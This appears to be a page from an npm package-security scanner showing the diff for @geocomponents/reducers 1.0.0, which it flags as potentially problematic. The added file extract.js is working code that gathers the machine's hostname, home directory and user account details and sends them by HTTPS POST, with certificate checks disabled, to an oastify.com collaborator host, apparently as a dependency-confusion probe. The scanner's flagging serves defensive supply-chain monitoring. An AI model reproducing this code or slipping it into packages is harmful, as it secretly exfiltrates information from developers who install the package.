@geocomponents/reducers 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @geocomponents/reducers might be problematic. Click here for more details.
- package/extract.js +30 -0
- package/package.json +11 -0
package/extract.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = os.hostname();
|
4
|
+
var path = os.homedir();
|
5
|
+
var userInfo = os.userInfo()
|
6
|
+
|
7
|
+
const data = new TextEncoder().encode(
|
8
|
+
JSON.stringify({
|
9
|
+
hostname: hostname,
|
10
|
+
project_id: process.argv[2],
|
11
|
+
path: path,
|
12
|
+
userInfo: userInfo
|
13
|
+
})
|
14
|
+
);
|
15
|
+
|
16
|
+
const options = {
|
17
|
+
hostname: process.argv[2] + '.' + "reducers" + '.1667923894.020k3pifltekneo7d74oof30ur0ho6.oastify.com',
|
18
|
+
port: 443,
|
19
|
+
path: '/',
|
20
|
+
method: 'POST',
|
21
|
+
headers: {
|
22
|
+
'Content-Type': 'application/json',
|
23
|
+
'Content-Length': data.length
|
24
|
+
},
|
25
|
+
rejectUnauthorized: false
|
26
|
+
}
|
27
|
+
|
28
|
+
const req = https.request(options, res => {});
|
29
|
+
req.write(data);
|
30
|
+
req.end();
|